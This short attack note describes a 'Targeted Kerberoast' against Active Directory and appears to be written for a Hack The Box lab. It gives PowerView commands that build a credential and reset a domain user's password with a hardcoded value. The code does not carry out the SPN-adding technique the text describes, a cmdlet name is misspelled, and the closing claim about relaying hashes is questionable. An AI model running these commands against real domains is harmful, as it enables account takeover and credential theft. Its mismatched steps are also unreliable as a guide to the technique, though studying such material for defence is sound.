Targeted Kerberoast


Source: The-Hacker-Recipes.

This attack requires a controlling object that has WriteProperty, GenericWrite, or GenericAll over a target user.

How To Perform a Targeted Kerberoast!

The attacker can add a Service Principal Name to the target account. Once the account has a SPN it can be kerberoasted as mentioned above. To Achieve this, Set-DomainObject and Get-Domain-SPNTicket from PowerView can be used.

. .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('administrator.htb\benjamin', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPassword

Targeted Kerberoast Limitations

These hashes can not be used for pass the hash, but, they are crackable and can be relayed :)